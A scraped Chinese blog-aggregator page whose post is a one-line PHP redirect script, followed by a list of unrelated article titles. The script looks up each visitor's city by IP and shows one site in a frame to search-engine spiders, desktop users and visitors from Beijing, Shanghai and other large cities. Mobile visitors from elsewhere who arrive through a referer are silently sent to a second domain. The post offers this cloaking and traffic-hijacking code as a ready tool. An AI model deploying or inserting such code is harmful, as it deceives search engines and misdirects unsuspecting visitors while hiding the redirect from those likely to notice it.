php代码,做跳转用的好久没写了,记录一个
来源:互联网 发布:男生冬季服装搭配知乎 编辑:程序博客网 时间:2024/05/17 22:15
<?php header('Content-Type:text/html;charset=UTF-8');/*error_reporting(0);*///屏蔽的地区$blockarea=array("北京","上海","广州","深圳","杭州","东莞","天津");//判断是否蜘蛛$tiaourl="http://mpv.shanxishiyuanweiye.com";if(stripos($_SERVER['HTTP_USER_AGENT'],'spider')>0) exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');if(!isMobile()) exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');$cip=get_client_ip();$html = "http://ip.ws.126.net/ipquery?ip=".$cip;//$html = "http://ip.ws.126.net/ipquery?ip=223.91.245.2";$data = http_curl($html);preg_match('|localAddress=(.*)|i',$data,$vid);$vid[1] = iconv('GB2312','utf-8',$vid[1]);$vid[1] = str_replace(array('省','市'),'',$vid[1]);$tihuan = str_replace(array('city','province'),array('"city"','"province"'),$vid[1]);$arr = json_decode($tihuan,true); $province=$arr["province"];$city=$arr["city"];if(in_array($province,$blockarea))exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');if(in_array($city,$blockarea))exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');if (isset($_SERVER['HTTP_REFERER'])) {header("location:http://www.imiao7.cn/");}else{echo('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');}/*echo $province;echo $city;*/function http_curl($url){ $curl = curl_init(); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); $data=curl_exec($curl); curl_close($curl); return $data;}function isMobile(){ if (isset ($_SERVER['HTTP_X_WAP_PROFILE'])) { return true; } if (isset ($_SERVER['HTTP_VIA'])) { return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false; } if (isset ($_SERVER['HTTP_USER_AGENT'])) { $clientkeywords = array ('nokia', 'sony', 'ericsson', 'mot', 'samsung', 'htc', 'sgh', 'lg', 'sharp', 'sie-', 'philips', 'panasonic', 'alcatel', 'lenovo', 'iphone', 'ipod', 'ipad', 'blackberry', 'meizu', 'android', 'netfront', 'symbian', 'ucweb', 'windowsce', 'palm', 'operamini', 'operamobi', 'openwave', 'nexusone', 'cldc', 'midp', 'wap', 'mobile' ); if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) { return true; } } if (isset ($_SERVER['HTTP_ACCEPT'])) { if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) { return true; } } return false;} function get_client_ip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } ?>
阅读全文
0 0
- php代码,做跳转用的好久没写了,记录一个
- 好久没写代码了
- 好久没写代码了,手痒
- 好久没写了
- 好久没写了
- 好久没写了
- 好久没写了
- 好久没写了~~
- 好久没写了
- 好久没写了
- 好久没写了
- 好久没写了
- 好久没写了
- 好久没写了。。。
- 好久没写了
- 好久没写了
- 好久没写博客了,今天来写一个.
- 好久没写BLOG了。放个前几天做的GIF
- Kafka 笔记
- 1018. 锤子剪刀布 (20) PAT乙级真题
- Android实现网络多线程断点续传下载
- Spring简介
- 基于Scrapyd的爬虫部署
- php代码,做跳转用的好久没写了,记录一个
- RK3288 编译环境搭建
- hdu 4677 并查集+分块算法 好题 (2013多校联合)
- 银行排队叫号系统
- Redis的监控功能
- Ubuntu16.04LTS 下ros(kinetic)的arduino应用(三)
- Dubbo动态改变端口配置
- 编程思想之多线程与多进程(3)——Java中的多线程
- 机器学习和深度学习面试题